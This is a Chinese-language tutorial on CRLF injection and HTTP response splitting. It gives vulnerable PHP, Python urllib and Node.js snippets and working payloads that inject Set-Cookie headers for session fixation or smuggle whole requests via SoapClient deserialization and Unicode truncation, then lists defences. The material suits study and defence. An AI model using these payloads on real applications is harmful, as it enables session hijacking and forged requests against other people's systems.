CRLF injection
字数 1058 2025-08-25 22:58:47
CRLF注入漏洞深入解析与利用
HTTP报文结构与CRLF基础
HTTP报文由三部分组成:
- 状态行(请求行/响应行)
- 首部
- 主体
HTTP规范中行以回车符(CR, \r, %0d)和换行符(LF, \n, %0a)结束,即CRLF序列。首部和主体之间由两个CRLF分隔(空行)。
CRLF注入原理
CRLF注入(HTTP响应拆分,HRS)发生在Web应用未对用户输入严格验证时,攻击者可以在请求行或首部字段中注入恶意CRLF字符,从而:
- 注入额外的首部字段
- 分割HTTP响应
- 注入恶意内容
典型利用场景
1. Location字段的302跳转
<?php
if(isset($_GET["url"])) {
header("Location:".$_GET['url']);
exit;
}
攻击者可以构造:
/?url=https://example.com%0d%0aSet-Cookie:PHPSESSID=whoami
结果响应头会包含:
Location: https://example.com
Set-Cookie: PHPSESSID=whoami
2. 会话固定攻击
通过注入Set-Cookie头,强制用户使用攻击者控制的会话ID。
PHP中的CRLF注入
1. fsockopen()函数利用
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
攻击payload:
/?url=example.com%0d%0aSet-Cookie:PHPSESSID=whoami
2. SoapClient类利用
<?php
$target = 'http://example.com/';
$a = new SoapClient(null,array(
'location' => $target,
'user_agent' => "WHOAMI\r\nSet-Cookie: PHPSESSID=whoami",
'uri' => 'test'
));
$b = serialize($a);
$c = unserialize($b);
$c->a(); // 触发__call方法
3. 发送POST请求
<?php
$target = 'http://example.com/';
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array(
'location' => $target,
'user_agent'=>'WHOAMI^^Content-Type: application/x-www-form-urlencoded^^'
.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data)
.'^^^^'.$post_data,
'uri'=>'test'
));
$b = str_replace('^^',"\n\r",serialize($a));
$c = unserialize($b);
$c->a();
Python中的CRLF注入
1. urllib/urllib2漏洞
影响版本:
- Python 2.x至2.7.16中的urllib2
- Python 3.x至3.7.2中的urllib
注入恶意首部
import urllib.request
url = "http://example.com?a=1 HTTP/1.1\r\nCRLF-injection: True\r\nSet-Cookie: PHPSESSID=whoami"
urllib.request.urlopen(url)
注入完整HTTP请求
payload = ''' HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
[...完整请求内容...]
GET / HTTP/1.1
test:'''.replace("\n","\r\n")
url = 'http://example.com?a=1' + payload
urllib.request.urlopen(url)
Node.js中的CRLF注入
Unicode字符损坏利用
Node.js v8及以下版本存在将高编号Unicode字符截断为控制字符的问题:
| 字符 | Unicode编码 | 对应字符 |
|---|---|---|
| \r | \u010d | č |
| \n | \u010a | Ċ |
| 空格 | \u0120 | Ġ |
示例利用
const http = require('http');
http.get('http://example.com/\u010d\u010aSet-Cookie:PHPSESSID=whoami');
注入完整请求
const payload = ' HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\n[...]\r\nGET / HTTP/1.1\r\ntest:'
.replace('\r\n', '\u010d\u010a')
.replace(' ', '\u0120');
http.get('http://example.com/' + payload);
防御措施
- 过滤所有用户输入的CR(
%0d)、LF(%0a)字符 - 使用安全的API设置HTTP头,避免拼接
- 对重定向URL进行严格校验
- 升级到已修复的Python/Node.js版本
- 使用Web应用防火墙(WAF)检测CRLF注入尝试
高级利用技巧
- XSS组合攻击:通过注入两个CRLF,可以分割响应并注入恶意HTML/JavaScript
- 缓存投毒:注入影响缓存的头信息
- 安全绕过:注入CSP头或其它安全相关头
- HTTP请求走私:与CRLF注入结合实现更复杂的攻击
CRLF注入漏洞的危害程度取决于注入点的上下文和应用程序的功能,从会话固定到完全的系统入侵都有可能。